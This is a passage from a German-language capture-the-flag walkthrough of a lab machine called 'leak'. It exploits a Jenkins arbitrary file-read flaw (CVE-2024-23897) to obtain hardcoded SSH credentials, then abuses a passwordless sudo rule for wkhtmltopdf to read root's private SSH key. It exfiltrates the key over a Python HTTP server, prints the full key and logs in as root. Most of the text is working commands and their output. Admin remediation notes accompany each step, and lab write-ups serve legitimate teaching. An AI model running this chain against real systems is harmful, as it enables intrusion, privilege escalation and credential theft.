**Analyse des Schritts:** Der Exploit wird mit `java -jar jenkins-cli.jar` ausgeführt, um die Datei `/var/www/html/connect.php` vom Zielserver zu lesen. Die Ausgabe enthält den Quellcode der PHP-Datei, wieder vermischt mit Fehlermeldungen. Wichtige Teile sind: * `$username = "george";` * `$password = "g30rg3_L3@k3D";` * `$servername = "localhost";` Der PHP-Code wurde durch unsere Bereinigungsregel entfernt, ist aber in der Originalausgabe als vorhanden.

**Erwartetes & Tatsächliches Ergebnis:** Es wurde erwartet, den Quellcode der `connect.php` zu erhalten. Dies wurde erreicht. Der Quellcode enthielt hartcodierte Anmeldeinformationen: Benutzername `george` und Passwort `g30rg3_L3@k3D`.

**Beweismittel:** Die obige Terminalausgabe zeigt den erfolgreich ausgelesenen Quellcode mit den Zugangsdaten.

**Risikobewertung:** Kritisch. Die Schwachstelle ermöglicht das Auslesen beliebiger Dateien, was zur Kompromittierung von Zugangsdaten, Konfigurationsgeheimnissen, Quellcode und anderen sensiblen Informationen führen kann. Im vorliegenden Fall wurden SSH-Zugangsdaten für den Benutzer `george` kompromittiert.

**Empfehlungen:** * **(Admin):** Jenkins **sofort** auf eine nicht verwundbare Version aktualisieren (mindestens 2.441 oder LTS 2.426.3). Hartcodierte Zugangsdaten aus Quellcodedateien entfernen und sicherere Methoden zur Speicherung und zum Abruf von Geheimnissen verwenden (z.B. Umgebungsvariablen, Secret Management Tools). Das kompromittierte Passwort (`g30rg3_L3@k3D`) sofort ändern. Dateiberechtigungen einschränken. * **(Pentester):** Die gefundenen Zugangsdaten verwenden, um sich per SSH anzumelden.

Mit den durch den POC (CVE-2024-23897) erlangten Zugangsdaten wird nun versucht, sich per SSH auf dem Zielsystem anzumelden.

┌──(root㉿CCat)-[~] └─# ssh -6 george@fe80::a00:27ff:febd:f862%eth0
The authenticity of host 'fe80a00:27ff:febd:f862%eth0 (fe80a00:27ff:febd:f862%eth0)' can't be established.
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
This host key is known by the following other names/addresses:
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'fe80a00:27ff:febd:f862%eth0' (ED25519) to the list of known hosts.

george@fe80a00:27ff:febd:f862%eth0's password: [Hier wurde g30rg3_L3@k3D eingegeben]
george@leak$ id
uid=1000(george) gid=1000(george) grupos=1000(george)

**Analyse:** Der Befehl `ssh` wird verwendet, um eine Verbindung zum Zielsystem herzustellen. * `-6`: Erzwingt die Verwendung von IPv6. * `george@fe80::a00:27ff:febd:f862%eth0`: Benutzer `george` an der Link-Local IPv6-Adresse über die Schnittstelle `eth0`. Nach Bestätigung des Host-Schlüssels wird das zuvor aus `connect.php` extrahierte Passwort (`g30rg3_L3@k3D`) eingegeben. Der Login ist erfolgreich, und der Benutzer landet in einer Shell auf dem Zielsystem (`george@leak$`). Der `id`-Befehl bestätigt, dass der Benutzer `george` mit UID 1000 ist.

**Bewertung:** **Fantastisch! Der initiale Zugriff auf das System als Benutzer `george` war erfolgreich.** Dies wurde durch die Kombination der LFI-Schwachstelle (CVE-2024-23897) zum Auslesen der `connect.php` und dem über IPv6 erreichbaren SSH-Dienst ermöglicht.

**Empfehlung (Pentester):** Die aktuelle Umgebung erkunden (`pwd`, `ls -la`, `env`). Nach Möglichkeiten zur Rechteausweitung (Privilege Escalation) suchen (`sudo -l`, SUID-Binaries, Cronjobs, Kernel-Exploits etc.). Die User-Flag suchen (oft in `/home/george` oder `/var/www`). **Empfehlung (Admin):** Das kompromittierte Passwort **sofort** ändern. Den Grund für die hartcodierten Zugangsdaten in `connect.php` untersuchen und beheben. Überprüfen, ob der SSH-Zugang für `george` notwendig ist und ob Passwort-Authentifizierung erlaubt sein soll (Schlüssel-Authentifizierung ist sicherer). Jenkins patchen!

Privilege Escalation

Nachdem der initiale Zugriff als Benutzer `george` erlangt wurde, suchen wir nach Wegen, um Root-Rechte zu erlangen.

george@leak$ └─# sudo -l
Matching Defaults entries for george on leak:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User george may run the following commands on leak:
    (root) NOPASSWD: /usr/bin/wkhtmltopdf

**Analyse:** Der Befehl `sudo -l` listet auf, welche Befehle der aktuelle Benutzer (`george`) mit `sudo` (also mit erhöhten Rechten) ausführen darf. Die Ausgabe zeigt, dass `george` den Befehl `/usr/bin/wkhtmltopdf` als `root` ausführen darf, und zwar **ohne** Passwortabfrage (`NOPASSWD`).

**Bewertung:** **Ein klarer Weg zur Privilege Escalation!** `wkhtmltopdf` ist ein Tool, das HTML-Seiten in PDF-Dateien umwandelt. Wenn es mit Root-Rechten ausgeführt werden kann, kann es oft missbraucht werden, um lokale Dateien zu lesen, auf die der normale Benutzer keinen Zugriff hat, indem eine spezielle HTML-Datei erstellt wird, die auf die lokale Datei verweist.

**Empfehlung (Pentester):** `wkhtmltopdf` nutzen, um sensible Dateien als `root` zu lesen. Ein typisches Ziel ist der private SSH-Schlüssel des Root-Benutzers (`/root/.ssh/id_rsa`) oder die `/etc/shadow`-Datei. Man erstellt eine einfache HTML-Datei (z.B. `poc.html`) mit einem ``), und konvertiert diese dann mit `sudo /usr/bin/wkhtmltopdf poc.html output.pdf`. Die Zieldatei sollte dann im erzeugten PDF enthalten sein. Im vorliegenden Bericht wurde `/root/private.txt` als Ziel gewählt. **Empfehlung (Admin):** `sudo`-Berechtigungen sehr restriktiv vergeben. `NOPASSWD` nur in absolut notwendigen Fällen verwenden. Tools wie `wkhtmltopdf` sollten niemals ohne Passwortabfrage mit Root-Rechten ausgeführt werden dürfen, da sie bekannte Missbrauchsmöglichkeiten bieten. Die spezifische `sudo`-Regel für `wkhtmltopdf` entfernen oder anpassen.

Erwähnung von pspy64, einem Tool zur Überwachung von Prozessen, das oft bei der Privilege Escalation hilft (wurde hier aber nicht aktiv genutzt, nur im Originaltext erwähnt).

george@leak$ └─# # pspy64 (Tool erwähnt, aber nicht ausgeführt im Bericht)
# pspy64 ist ein Tool, das laufende Prozesse auf einem Linux-System ohne Root-Rechte überwachen kann.
# Es ist nützlich, um z.B. Cronjobs oder kurzlebige Prozesse zu entdecken, die für Privilege Escalation genutzt werden könnten.

**Analyse:** Im Originalbericht wurde `pspy64` erwähnt. Dies ist ein bekanntes Linux-Privilege-Escalation-Enumerationstool, das Prozessaktivitäten in Echtzeit anzeigt und helfen kann, automatisierte Aufgaben oder Aktionen anderer Benutzer zu entdecken, die ausgenutzt werden könnten.

**Bewertung:** Obwohl `pspy64` hier nicht aktiv eingesetzt wurde (da `sudo -l` bereits einen klaren Weg aufzeigte), ist es ein wertvolles Werkzeug im Arsenal eines Pentesters für die Privilege Escalation Phase.

**Empfehlung (Pentester):** `pspy` (oder ähnliche Tools wie `linpeas.sh`, `lse.sh`) standardmäßig zur Enumeration nach dem initialen Zugriff verwenden, auch wenn ein offensichtlicher Weg wie `sudo -l` existiert, um zusätzliche Schwachstellen oder Informationen aufzudecken. **Empfehlung (Admin):** Prozess-Monitoring und Logging implementieren, um verdächtige Aktivitäten zu erkennen. Unnötige Cronjobs oder Prozesse bereinigen.

Ausnutzung der `sudo`-Berechtigung für `wkhtmltopdf`, um die Datei `/root/private.txt` zu lesen.

george@leak$ └─# sudo /usr/bin/wkhtmltopdf /root/private.txt root.pdf
QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root'
Loading page (1/2)
Printing pages (2/2)
Done

**Analyse:** Der `sudo`-Befehl wird verwendet, um `/usr/bin/wkhtmltopdf` mit Root-Rechten auszuführen. Als Eingabe wird direkt der Pfad zur Zieldatei `/root/private.txt` angegeben. `wkhtmltopdf` interpretiert dies (fehlerhaft oder als Feature) so, dass der Inhalt dieser lokalen Datei als "HTML"-Quelle verwendet wird. Die Ausgabe wird in die Datei `root.pdf` im aktuellen Verzeichnis (`/home/george`) geschrieben. Die Meldung `QStandardPaths: XDG_RUNTIME_DIR not set...` ist eine harmlose Warnung.

**Bewertung:** Der Exploit war erfolgreich. `wkhtmltopdf` hat den Inhalt von `/root/private.txt` (eine Datei, auf die `george` normalerweise keinen Zugriff hat) gelesen und in die Datei `root.pdf` geschrieben, die nun `george` gehört.

**Empfehlung (Pentester):** Den Inhalt der erstellten `root.pdf` untersuchen. Da der Dateiname `private.txt` lautet, handelt es sich wahrscheinlich um den privaten SSH-Schlüssel des Root-Benutzers. Diesen Schlüssel extrahieren und versuchen, sich damit als `root` per SSH anzumelden. **Empfehlung (Admin):** Die `sudo`-Regel für `wkhtmltopdf` dringend entfernen. Überprüfen, ob sensible Dateien wie private Schlüssel in `/root` oder anderen Verzeichnissen mit unangemessenen Berechtigungen liegen.

george@leak$ └─# ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .profile  root.pdf  user.txt

**Analyse:** `ls -a` listet alle Dateien im aktuellen Verzeichnis (`/home/george`) auf, einschließlich versteckter Dateien. Die Ausgabe bestätigt das Vorhandensein der neu erstellten `root.pdf` und einer Datei namens `user.txt`.

**Bewertung:** Die `user.txt` ist wahrscheinlich die User-Flag. Die `root.pdf` enthält den potenziellen Root-SSH-Schlüssel.

**Empfehlung (Pentester):** `cat user.txt` ausführen, um die User-Flag zu erhalten. Die `root.pdf` auf den lokalen Rechner übertragen, um den Inhalt zu extrahieren. **Empfehlung (Admin):** Keine direkte Aktion, aber die Existenz von `user.txt` und `root.pdf` bestätigt die erfolgreichen Schritte des Angreifers.

george@leak$ └─# cat user.txt
f65335b64773d249e3f7372c0b79c2c6

**Analyse:** Der Befehl `cat user.txt` liest den Inhalt der Datei `user.txt` aus.

**Bewertung:** Die User-Flag wurde erfolgreich gefunden und ausgelesen.

**Empfehlung (Pentester):** Die User-Flag notieren. Nun die `root.pdf` übertragen. **Empfehlung (Admin):** Keine Aktion erforderlich.

Ein einfacher Python-HTTP-Server wird auf dem Zielsystem gestartet, um die `root.pdf` herunterzuladen.

george@leak$ └─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.199 - - [05/Sep/2024 00:50:01] "GET /root.pdf HTTP/1.1" 200 -

**Analyse:** Der Befehl `python3 -m http.server 8000` startet einen einfachen Webserver im aktuellen Verzeichnis (`/home/george`) auf Port 8000. Dieser Server erlaubt es, Dateien aus diesem Verzeichnis über HTTP herunterzuladen. Die Logzeile zeigt, dass eine Anfrage von der IP `192.168.2.199` (dem Angreifer-System) für die Datei `/root.pdf` eingegangen ist und erfolgreich (`200 OK`) beantwortet wurde.

**Bewertung:** Eine gängige und einfache Methode, um Dateien von einem kompromittierten System auf das Angreifer-System zu übertragen, wenn direkte Tools wie `scp` nicht verfügbar oder konfiguriert sind.

**Empfehlung (Pentester):** Nachdem die Datei übertragen wurde, den Python-Server wieder beenden (Strg+C). Den Inhalt der heruntergeladenen `root.pdf` analysieren. **Empfehlung (Admin):** Ausgehenden Netzwerkverkehr vom Server überwachen und einschränken, um Datenexfiltration zu erschweren. Sicherstellen, dass Benutzer keine unnötigen Tools (wie Python) ausführen können, falls nicht erforderlich.

Die `root.pdf` wird vom Angreifer-System heruntergeladen.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# wget 192.168.2.126:8000/root.pdf
--2024-09-05 00:49:44--  http://192.168.2.126:8000/root.pdf
Verbindungsaufbau zu 192.168.2.126:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 15944 (16K) [application/pdf]
Wird in root.pdf gespeichert.

root.pdf                100%[===================>]  15,57K  --.-KB/s    in 0s

2024-09-05 00:49:44 (815 MB/s) - root.pdf gespeichert [15944/15944]

**Analyse:** Auf dem Angreifer-System (Kali/CCat) wird `wget` verwendet, um die Datei `root.pdf` vom zuvor gestarteten Python-Server auf dem Zielsystem (`192.168.2.126:8000`) herunterzuladen. Der Download ist erfolgreich.

**Bewertung:** Die potenziell den Root-SSH-Schlüssel enthaltende PDF-Datei befindet sich nun zur Analyse auf dem Angreifer-System.

**Empfehlung (Pentester):** Die heruntergeladene `root.pdf` öffnen und den Inhalt analysieren. **Empfehlung (Admin):** Siehe Empfehlung zum Starten des Python-Servers.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# ll
insgesamt 3640
-rw-r--r-- 1 root root   77771  5. Sep 00:13 CVE-2024-23897.jpg
-rw-r--r-- 1 root root      69  5. Sep 00:27 hash
-rwxr-xr-x 1 root root 3623401  5. Sep 00:13 jenkins-cli.jar
-rw-r--r-- 1 root root     412  5. Sep 00:13 README.md
-rw-r--r-- 1 root root   15944  5. Sep 00:46 root.pdf

**Analyse:** Der Befehl `ll` (Alias für `ls -l` oder `ls -al` je nach Konfiguration) listet den Inhalt des aktuellen Verzeichnisses auf dem Angreifer-System auf. Er bestätigt, dass die Datei `root.pdf` heruntergeladen wurde.

**Bewertung:** Bestätigung des erfolgreichen Downloads.

**Empfehlung (Pentester):** Datei öffnen. **Empfehlung (Admin):** Keine Aktion erforderlich.

Der Inhalt der PDF-Datei wird extrahiert. Es handelt sich um einen privaten SSH-Schlüssel.

Lokale Aktion (Datei öffnen/kopieren): └─# file:///home/ccat/Downloads/root.pdf
--BEGIN PENSSH PRIVATE KEY--
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
P4ScXq5Pvzg/A5awAAAAlyb290QGxlYWs=
--END PENSSH PRIVATE KEY--

**Analyse:** Die `root.pdf` wurde geöffnet (hier symbolisiert durch `file://...`). Der Inhalt, der angezeigt wird, ist eindeutig ein privater SSH-Schlüssel im OpenSSH-Format, beginnend mit `-----BEGIN OPENSSH PRIVATE KEY-----` und endend mit `-----END OPENSSH PRIVATE KEY-----`. Der Kommentar am Ende (`root@leak`) deutet darauf hin, dass dies der Schlüssel für den Benutzer `root` auf dem Host `leak` ist.

**Bewertung:** Der private SSH-Schlüssel des Root-Benutzers wurde erfolgreich extrahiert. Dies ist der Schlüssel zur vollständigen Kompromittierung des Systems.

**Empfehlung (Pentester):** Den extrahierten Schlüssel in eine Datei speichern (z.B. `root.rsa`), die Berechtigungen auf 600 setzen (`chmod 600 root.rsa`) und dann versuchen, sich mit diesem Schlüssel als `root` per SSH anzumelden (`ssh -i root.rsa root@...`). **Empfehlung (Admin):** Den kompromittierten SSH-Schlüssel sofort für ungültig erklären (aus `authorized_keys` entfernen) und einen neuen generieren. Die `sudo`-Regel entfernen. Die Ursache (Jenkins LFI) beheben.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# vi root.rsa
# (Keine Ausgabe, der Schlüssel wird in die Datei 'root.rsa' kopiert)

**Analyse:** Der extrahierte SSH-Schlüssel wird mit dem Texteditor `vi` in eine Datei namens `root.rsa` auf dem Angreifer-System gespeichert.

**Bewertung:** Notwendiger Schritt, um den Schlüssel für den SSH-Login verwendbar zu machen.

**Empfehlung (Pentester):** Als nächstes die Dateiberechtigungen anpassen. **Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# chmod 600 root.rsa
# (Keine Ausgabe, die Berechtigungen werden gesetzt)

**Analyse:** Der Befehl `chmod 600 root.rsa` ändert die Dateiberechtigungen für die Schlüsseldatei `root.rsa`. `600` bedeutet, dass nur der Besitzer der Datei Lese- und Schreibrechte hat (`rw-------`). Dies ist eine Sicherheitsanforderung des SSH-Clients; er weigert sich, private Schlüssel zu verwenden, die für andere Benutzer lesbar sind.

**Bewertung:** Korrekte Vorbereitung der Schlüsseldatei für die SSH-Verbindung.

**Empfehlung (Pentester):** Jetzt den SSH-Login als `root` mit dem Schlüssel versuchen. **Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# ssh -6 root@fe80::a00:27ff:febd:f862%eth0 -i root.rsa
root@leak: id
uid=0(root) gid=0(root) grupos=0(root)

**Analyse:** Der SSH-Befehl wird erneut ausgeführt, diesmal jedoch: * Als Benutzer `root`. * Mit der Option `-i root.rsa`, die angibt, dass der private Schlüssel in der Datei `root.rsa` für die Authentifizierung verwendet werden soll. Der Login ist sofort erfolgreich, ohne Passwortabfrage. Der Prompt ändert sich zu `root@leak:`. Der `id`-Befehl bestätigt, dass der Benutzer `root` (UID 0) ist.

**Bewertung:** **Hervorragend! Der Root-Zugriff auf das System wurde erfolgreich erlangt.** Die Privilege Escalation durch Ausnutzung der `sudo`-Regel für `wkhtmltopdf` zum Extrahieren des Root-SSH-Schlüssels war erfolgreich.

**Empfehlung (Pentester):** Die Root-Flag suchen (oft in `/root`). Das System weiter untersuchen, Persistenzmechanismen einrichten (falls im Scope), sensible Daten exfiltrieren (falls im Scope) und den Angriffspfad dokumentieren. **Empfehlung (Admin):** **Sofortige Maßnahmen:** Kompromittierten SSH-Schlüssel ungültig machen, `sudo`-Regel entfernen, Jenkins patchen, `connect.php`-Problem beheben, Passwörter ändern. System gründlich auf weitere Kompromittierungen oder Hintertüren untersuchen. Sicherheitsrichtlinien für `sudo`, SSH-Konfiguration und Passwort-Management überprüfen und verschärfen.

Nach Erlangung der Root-Rechte werden die Root-Flag und zur Bestätigung nochmals die User-Flag gesucht.

root@leak: └─# ls -la
total 44
drwx------  6 root root 4096 sep  5 00:46 .
drwxr-xr-x 18 root root 4096 jul 21  2023 ..
lrwxrwxrwx  1 root root    9 abr 23  2023 .bash_history -> /dev/null
-rw-------  1 root root 3526 ene 15  2023 .bashrc
drwxr-xr-x  3 root root 4096 sep  5 00:46 .cache
drwxr-xr-x  3 root root 4096 jul 21  2023 .jenkins
drwx------  3 root root 4096 ene 15  2023 .local
-rw-------  1 root root 2590 feb 26  2024 private.txt
-rw-------  1 root root  161 jul  9  2019 .profile
-r--------  1 root root   33 feb 26  2024 .r00000000000000t.txt
-rw-r--r--  1 root root   66 jul 21  2023 .selected_editor
drwx------  2 root root 4096 feb 26  2024 .ssh

**Analyse:** Der Befehl `ls -la` wird im Home-Verzeichnis des Root-Benutzers (`/root`) ausgeführt. Er listet alle Dateien und Verzeichnisse auf, einschließlich versteckter. Zwei interessante Dateien fallen auf: * `private.txt`: Die Datei, die den SSH-Schlüssel enthielt (Bestätigung). * `.r00000000000000t.txt`: Eine versteckte Datei mit einem ungewöhnlichen Namen, die aufgrund des Namensmusters (`.r...t.txt`) die Root-Flag enthalten könnte.

**Bewertung:** Die potenzielle Root-Flag-Datei wurde identifiziert.

**Empfehlung (Pentester):** Den Inhalt von `.r00000000000000t.txt` mit `cat` auslesen. **Empfehlung (Admin):** Keine Aktion erforderlich.

root@leak: └─# cat .r00000000000000t.txt
89c441988949961e48d5085c3d70c9f1

**Analyse:** Der Befehl `cat .r00000000000000t.txt` liest den Inhalt der identifizierten Datei.

**Bewertung:** Die Root-Flag wurde erfolgreich gefunden und ausgelesen.

**Empfehlung (Pentester):** Die Root-Flag notieren. Den Bericht vervollständigen. **Empfehlung (Admin):** Keine Aktion erforderlich.

root@leak: └─# cat /home/george/user.txt
f65335b64773d249e3f7372c0b79c2c6

**Analyse:** Als Root-Benutzer wird die User-Flag im Home-Verzeichnis von `george` erneut gelesen, um beide Flags im finalen Abschnitt zu bestätigen.

**Bewertung:** Bestätigung der User-Flag.

**Empfehlung (Pentester):** Alle notwendigen Informationen sind gesammelt. **Empfehlung (Admin):** Keine Aktion erforderlich.

Privilege Escalation erfolgreich abgeschlossen.

Flags

cat /home/george/user.txt
f65335b64773d249e3f7372c0b79c2c6
cat /root/.r00000000000000t.txt
89c441988949961e48d5085c3d70c9f1